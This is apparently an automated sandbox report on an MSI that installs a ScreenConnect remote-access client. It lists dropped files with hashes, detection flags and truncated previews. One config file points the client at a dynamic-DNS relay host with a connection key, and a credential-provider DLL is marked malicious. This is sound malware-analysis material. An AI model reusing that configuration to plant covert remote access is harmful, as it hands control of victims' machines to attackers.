                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A........................T....................V.......V.......V......................=U......=U......=U$.....=U......Rich....................PE..d.....Qf.........." ...'.^...^.......................................................(....`..........................................e.......f..P................ ......HP..........P%..p............................$..@............p...............................text...t].......^.................. ..`.rdata.......p.......b..............@..@.data....+...........d..............@....pdata... ......."...x..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsBackstageShell.exe

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):61216
                                                                                                              Entropy (8bit):6.31175789874945
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:1536:SW/+lo6MOc8IoiKWjbNv8DtyQ4RE+TC6VAhVbIF7fIxp:SLlo6dccl9yQGVtFra
                                                                                                              MD5:6DF2DEF5E591E2481E42924B327A9F15
                                                                                                              SHA1:38EAB6E9D99B5CAEEC9703884D25BE8D811620A9
                                                                                                              SHA-256:B6A05985C4CF111B94A4EF83F6974A70BF623431187691F2D4BE0332F3899DA9
                                                                                                              SHA-512:5724A20095893B722E280DBF382C9BFBE75DD4707A98594862760CBBD5209C1E55EEAF70AD23FA555D62C7F5E54DE1407FB98FC552F42DCCBA5D60800965C6A5
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L............."...0.................. ........@.. ....................... ......3]....@.....................................O.......,............... )..............8............................................ ............... ..H............text........ ...................... ..`.rsrc...,...........................@..@.reloc..............................@..B........................H........S......................x.........................................(....*^.(.......a...%...}....*:.(......}....*:.(......}....*:.(......}....*....0..........(....(....(....(....r...p(....o....(....r...p..~....(....(....r9..p..~....(....(.....g~).....(....rY..p.(....&(.....(....s....( ...s....(!...*...0...........(".....(#.....($....s....%.o%...%.o&...%.o'...%s!...o(...%~....o)...}......(....o*...o+....(,.....@...%..(.....o-....s....}.....{...........s/...o0....s....}..

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsBackstageShell.exe.config

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                              Category:dropped
                                                                                                              Size (bytes):266
                                                                                                              Entropy (8bit):4.842791478883622
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
                                                                                                              MD5:728175E20FFBCEB46760BB5E1112F38B
                                                                                                              SHA1:2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
                                                                                                              SHA-256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
                                                                                                              SHA-512:FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):601376
                                                                                                              Entropy (8bit):6.185921191564225
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6144:r+z3H0n063rDHWP5hLG/6XixJQm16Eod7ZeYai1FzJTZJ5BCEOG6y9QsZSc4F2/Q:qzEjrTWPMLBfWFaSdJ5BeG6xs6/yRod
                                                                                                              MD5:20AB8141D958A58AADE5E78671A719BF
                                                                                                              SHA1:F914925664AB348081DAFE63594A64597FB2FC43
                                                                                                              SHA-256:9CFD2C521D6D41C3A86B6B2C3D9B6A042B84F2F192F988F65062F0E1BFD99CAB
                                                                                                              SHA-512:C5DD5ED90C516948D3D8C6DFA3CA7A6C8207F062883BA442D982D8D05A7DB0707AFEC3A0CB211B612D04CCD0B8571184FC7E81B2E98AE129E44C5C0E592A5563
                                                                                                              Malicious:false
                                                                                                              Yara Hits:
                                                                                                              • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe, Author: Joe Security
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{<............"...0.................. ... ....@.. .......................`.......x....@.................................=...O.... .................. )...@..........8............................................ ............... ..H............text...`.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................q.......H........H................................................................{D...*..{E...*V.(F.....}D.....}E...*...0..A........u1.......4.,/(G....{D....{D...oH...,.(I....{E....{E...oJ...*.*.*. }.o )UU.Z(G....{D...oK...X )UU.Z(I....{E...oL...X*...0..b........r...p......%..{D......%q4....4...-.&.+...4...oM....%..{E......%q5....5...-.&.+...5...oM....(N...*..{O...*..{P...*V.(F.....}O.....}P...*.0..A........u6.......4.,/(G....{O....{O...oH...,.(I....{P....{P...oJ...*.*.*. 1.c. )UU.

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe.config

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                              Category:dropped
                                                                                                              Size (bytes):266
                                                                                                              Entropy (8bit):4.842791478883622
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
                                                                                                              MD5:728175E20FFBCEB46760BB5E1112F38B
                                                                                                              SHA1:2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
                                                                                                              SHA-256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
                                                                                                              SHA-512:FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsCredentialProvider.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):842248
                                                                                                              Entropy (8bit):6.268561504485627
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:12288:q9vy8YABMuiAoPyEIrJs7jBjaau+EAaMVtw:P8Y4MuiAoPyZrJ8jrvDVtw
                                                                                                              MD5:BE74AB7A848A2450A06DE33D3026F59E
                                                                                                              SHA1:21568DCB44DF019F9FAF049D6676A829323C601E
                                                                                                              SHA-256:7A80E8F654B9DDB15DDA59AC404D83DBAF4F6EAFAFA7ECBEFC55506279DE553D
                                                                                                              SHA-512:2643D649A642220CEEE121038FE24EA0B86305ED8232A7E5440DFFC78270E2BDA578A619A76C5BB5A5A6FE3D9093E29817C5DF6C5DD7A8FBC2832F87AA21F0CC
                                                                                                              Malicious:true
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}....}H..}H..}H.d~I..}H.dxIG.}H.dyI..}H..xI..}H..yI..}H..~I..}H..|H8.}H..}H..}H2.}I..}H2..I..}HRich..}H........PE..d.....Gf.........." ...'.P...........H....................................... ......q.....`......................................... ...t....................P...y.......(......,4.....T.......................(.......@............`...............................text....O.......P.................. ..`.rdata...z...`...|...T..............@..@.data....d.......0..................@....pdata...y...P...z..................@..@_RDATA...............z..............@..@.reloc..,4.......6...|..............@..B................................................................................................................................................................................................................................................................

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsFileManager.exe

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):81696
                                                                                                              Entropy (8bit):5.862223562830496
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:1536:/tytl44RzbwI5kLP+VVVVVVVVVVVVVVVVVVVVVVVVVC7Yp7gxd:8/KukLdUpc
                                                                                                              MD5:B1799A5A5C0F64E9D61EE4BA465AFE75
                                                                                                              SHA1:7785DA04E98E77FEC7C9E36B8C68864449724D71
                                                                                                              SHA-256:7C39E98BEB59D903BC8D60794B1A3C4CE786F7A7AAE3274C69B507EBA94FAA80
                                                                                                              SHA-512:AD8C810D7CC3EA5198EE50F0CEB091A9F975276011B13B10A37306052697DC43E58A16C84FA97AB02D3927CD0431F62AEF27E500030607828B2129F305C27BE8
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P............"...0..@...........^... ...`....@.. .......................`......j.....@..................................^..O....`.. ............... )...@.......]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc... ....`.......B..............@..@.reloc.......@......................@..B.................^......H....... +..@2..................`]........................................(....*^.(.......;...%...}....*:.(......}....*:.(......}....*:.(......}....*....0..........s>....(....(....(....(....(.....(....(......s....}B....s....}C....~@...%-.&~?.....<...s ...%.@...o...+.....@...s ...o...+......A...s!...o...+}D.......B...s"...o...+.......(#...&......(#...& .... ...........($...&s....t......r...prs..p(%...(&...~>...%-.&...'...s(...%.>.....A...().......(*........(+...o,...(-...t....

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsFileManager.exe.config

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                              Category:dropped
                                                                                                              Size (bytes):266
                                                                                                              Entropy (8bit):4.842791478883622
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
                                                                                                              MD5:728175E20FFBCEB46760BB5E1112F38B
                                                                                                              SHA1:2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
                                                                                                              SHA-256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
                                                                                                              SHA-512:FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\app.config

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                              Category:dropped
                                                                                                              Size (bytes):1970
                                                                                                              Entropy (8bit):4.690426481732819
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:OhMOdH55AfdH85AfdHfh/dH8h/dHmh/dHH/dHS/dH0/dHjdH6dH/dHAdHKdH3dHX:o3H52H82HzHAHyHVHeHMHZHUH1HyHkHN
                                                                                                              MD5:2744E91BB44E575AD8E147E06F8199E3
                                                                                                              SHA1:6795C6B8F0F2DC6D8BD39F9CF971BAB81556B290
                                                                                                              SHA-256:805E6E9447A4838D874D84E6B2CDFF93723641B06726D8EE58D51E8B651CD226
                                                                                                              SHA-512:586EDC48A71FA17CDF092A95D27FCE2341C023B8EA4D93FA2C86CA9B3B3E056FD69BD3644EDBAD1224297BCE9646419036EA442C93778985F839E14776F51498
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:<?xml version="1.0"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="ShowFeedbackSurveyForm" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportShowUnderControlBanner" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="AccessShowUnderControlBanner" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportHideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="AccessHideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="HideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportShowBalloonOnConnect" serializeAs="String">.. <value>fa

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\system.config

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:XML 1.0 document, ASCII text, with very long lines (459), with CRLF line terminators
                                                                                                              Category:dropped
                                                                                                              Size (bytes):949
                                                                                                              Entropy (8bit):5.776097123776163
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:24:2dL9hK6E4dl/GdmGu44AUXgzfwM3lTX+5iwntUEvH:chh7HHWMLsfwudX+5i8UEv
                                                                                                              MD5:E16B6371C6F4FDAB54351877B8435843
                                                                                                              SHA1:57A129663247DD57EEF560F78F48FEF5AC9AC7CE
                                                                                                              SHA-256:22AFA6C2B784B02D8403A8773FE7730F9FF1C643295F811F1CB11AED2CD08133
                                                                                                              SHA-512:7C9B93E6E2CC99AE78115A846C6C24E0187FF59641C10F5E4C6EF718DFB4D09385E19967141F8F1A1D7025CF41F0D2D80B9A4FD2F490B8EC94EE1E0BFE267862
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="ClientLaunchParametersConstraint" serializeAs="String">.. <value>?h=tmqw21a.zapto.org&amp;p=8041&amp;k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):1310720
                                                                                                              Entropy (8bit):0.8169299139480882
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3072:yJjAgNE4Pj5vHcjTcyBP9UjaaQ/ka4qWMwLplo:QAgN8nj/ka4xLplo
                                                                                                              MD5:334B21DD786AF1A50045B201D93308DD
                                                                                                              SHA1:ACAE8ABB1FC8FE670725A401E0C846115763F0D9
                                                                                                              SHA-256:9AE9734B3B748E03E3D698172A8FD564EDAF1E992481113FD36FB56BDD8BF2B0
                                                                                                              SHA-512:B8D7ED84D931367FF809C93260186864C5300AB748DFD1D52A64B79EFFC477DCE139D466A6F7DB0094BE0321D2750DD0544923FC5B8F28377FF7EF13018708DA
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:..6.........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................d6d6.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                              File Type:Extensible storage engine DataBase, version 0x620, checksum 0x1946f06f, page size 16384, DirtyShutdown, Windows version 10.0
                                                                                                              Category:dropped
                                                                                                              Size (bytes):1310720
                                                                                                              Entropy (8bit):0.7864601295809709
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:1536:LSB2ESB2SSjlK/6vDfi5Wy10MctJ+t9ka4XQ0/Ykr3g16L2UPkLk+kyt4eCu3uZB:Lazaovh7uka4Es2U1RFNp3pvHzrHBHz
                                                                                                              MD5:8F460522DD3E401B7AE94BA6449DCC46
                                                                                                              SHA1:26FF6D4228D08F0C85817072829A228947E415E9
                                                                                                              SHA-256:350C07B0463C21C21E102E5FFE9C273E357E6976A455994B1C5C25BCE225A043
                                                                                                              SHA-512:119238BBF06E595AFF974B3DDB1001CC476963CE6A5544FB9D2E5DDAA60B2AA748D2AE1BC9BA66C3B1578DFF5A427D5366926F16B839A69336CEA29436E11B6B
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:.F.o... ...............X\...;...{......................0.z...... ...{..(5...|..h.|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................x...(5...|.9...................(5...|...........................#......h.|.....................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):16384
                                                                                                              Entropy (8bit):0.08205840518416743
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3:r7lEYe62WroMsjv/Ss/IGYZX/72JlallSdLvl+/rS56/:qzxiJsYoAQN0e
                                                                                                              MD5:5D690C92EAEBBF243410CCE84545F534
                                                                                                              SHA1:A76649945FC49D0C7244366FABA27B3A30602207
                                                                                                              SHA-256:62AD7E35B8FDEED87E75296EBB3446C3EB6A8CDAF2CAB72F7E206132FE04CA14
                                                                                                              SHA-512:02B1D699055D9A94A8BDC5C82E5A1F3E05D7E67CF7A19CEE751E42395929B3A2194324622095B8F2FF9C02338BB76EA9062909AB2CB88D5EAABA7B1F8DC9BC0B
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:........................................;...{..(5...|... ...{........... ...{... ...{..#.#.. ...{.|...................(5...|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Users\user\AppData\Local\Temp\MSICD79.tmp

                                                                                                              Download File
                                                                                                              Process:C:\Windows\SysWOW64\msiexec.exe
                                                                                                              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, InstallShield self-extracting archive
                                                                                                              Category:dropped
                                                                                                              Size (bytes):1086792
                                                                                                              Entropy (8bit):7.793516535218678
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:24576:4UUGG/qSDceVjLHGeRdtRiypAxiK7cl72km/4aoczU:bG/XcW32gqkAfosU
                                                                                                              MD5:30CA21632F98D354A940903214AE4DE1
                                                                                                              SHA1:6C59A3A65FB8E7D4AD96A3E8D90E72B02091D3F4
                                                                                                              SHA-256:4BB0E9B5C70E3CAEB955397A4A3B228C0EA5836729202B8D4BA1BE531B60DAFC
                                                                                                              SHA-512:47509F092B089EB1FFC115643DCDFBFAC5F50F239DE63ECAD71963EC1D37FF72B89F5A2AEA137ED391BA9BA10947ABBE6103DB1C56032FD6B39A0855CB283509
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S.c.2.0.2.0.2.0..|0.2.0..H0.2.0.Jq0.2.0.2.0.2.0..I0.2.0..y0.2.0..x0.2.0...0.2.0Rich.2.0................PE..L...9..P...........!.........H.......i.......................................p............@..............................*..l...x....@.......................P..d.......................................@...............h............................text............................... ..`.rdata..............................@..@.data....-..........................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\CustomAction.config

                                                                                                              Download File
                                                                                                              Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                                              File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                              Category:dropped
                                                                                                              Size (bytes):234
                                                                                                              Entropy (8bit):4.977464602412109
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6:JiMVBdTMkIffVymRMT4/0xC/C7VrfC7VNQpuAW4QIT:MMHd413VymhsS+Qg93xT
                                                                                                              MD5:6F52EBEA639FD7CEFCA18D9E5272463E
                                                                                                              SHA1:B5E8387C2EB20DD37DF8F4A3B9B0E875FA5415E3
                                                                                                              SHA-256:7027B69AB6EBC9F3F7D2F6C800793FDE2A057B76010D8CFD831CF440371B2B23
                                                                                                              SHA-512:B5960066430ED40383D39365EADB3688CADADFECA382404924024C908E32C670AFABD37AB41FF9E6AC97491A5EB8B55367D7199002BF8569CF545434AB2F271A
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:.<?xml version="1.0" encoding="utf-8" ?>..<configuration>.. <startup useLegacyV2RuntimeActivationPolicy="true">.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>..</configuration>

                                                                                                              C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.Compression.Cab.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):49152
                                                                                                              Entropy (8bit):4.62694170304723
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:768:sqbC2wmdVdX9Y6BCH+C/FEQl2ifnxwr02Gy/G4Xux+bgHGvLw4:sAtXPC/Cifnxs02Gyu4Xu0MeR
                                                                                                              MD5:77BE59B3DDEF06F08CAA53F0911608A5
                                                                                                              SHA1:A3B20667C714E88CC11E845975CD6A3D6410E700
                                                                                                              SHA-256:9D32032109FFC217B7DC49390BD01A067A49883843459356EBFB4D29BA696BF8
                                                                                                              SHA-512:C718C1AFA95146B89FC5674574F41D994537AF21A388335A38606AEC24D6A222CBCE3E6D971DFE04D86398E607815DF63A54DA2BB96CCF80B4F52072347E1CE6
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ........... ........... ...............................$....@....................................O.................................................................................... ............... ..H............text... .... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.Compression.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):36864
                                                                                                              Entropy (8bit):4.340550904466943
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:384:GqJxldkxhW9N5u8IALLU0X9Z1kTOPJlqE:GqJxl6xsPIA9COxlqE
                                                                                                              MD5:4717BCC62EB45D12FFBED3A35BA20E25
                                                                                                              SHA1:DA6324A2965C93B70FC9783A44F869A934A9CAF7
                                                                                                              SHA-256:E04DE7988A2A39931831977FA22D2A4C39CF3F70211B77B618CAE9243170F1A7
                                                                                                              SHA-512:BB0ABC59104435171E27830E094EAE6781D2826ED2FC9009C8779D2CA9399E38EDB1EC6A10C1676A5AF0F7CACFB3F39AC2B45E61BE2C6A8FE0EDB1AF63A739CA
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0..`... .......~... ........... ....................................@.................................X~..O................................... }............................................... ............... ..H............text....^... ...`.................. ..`.rsrc................p..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):57344
                                                                                                              Entropy (8bit):4.657268358041957
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:768:BLNru62y+VqB4N5SBcDhDxW7ZkCmX2Qv1Sf0AQdleSBRxf+xUI3:BJ2yUGmh2O11AsleyRxf+xt
                                                                                                              MD5:A921A2B83B98F02D003D9139FA6BA3D8
                                                                                                              SHA1:33D67E11AD96F148FD1BFD4497B4A764D6365867
                                                                                                              SHA-256:548C551F6EBC5D829158A1E9AD1948D301D7C921906C3D8D6B6D69925FC624A1
                                                                                                              SHA-512:E1D7556DAF571C009FE52D6FFE3D6B79923DAEEA39D754DDF6BEAFA85D7A61F3DB42DFC24D4667E35C4593F4ED6266F4099B393EFA426FA29A72108A0EAEDD3E
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ........... ........... ....................... .......t....@.....................................O...................................`................................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.WindowsInstaller.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):176128
                                                                                                              Entropy (8bit):5.775360792482692
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
                                                                                                              MD5:5EF88919012E4A3D8A1E2955DC8C8D81
                                                                                                              SHA1:C0CFB830B8F1D990E3836E0BCC786E7972C9ED62
                                                                                                              SHA-256:3E54286E348EBD3D70EAED8174CCA500455C3E098CDD1FCCB167BC43D93DB29D
                                                                                                              SHA-512:4544565B7D69761F9B4532CC85E7C654E591B2264EB8DA28E60A058151030B53A99D1B2833F11BFC8ACC837EECC44A7D0DBD8BC7AF97FC0E0F4938C43F9C2684
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
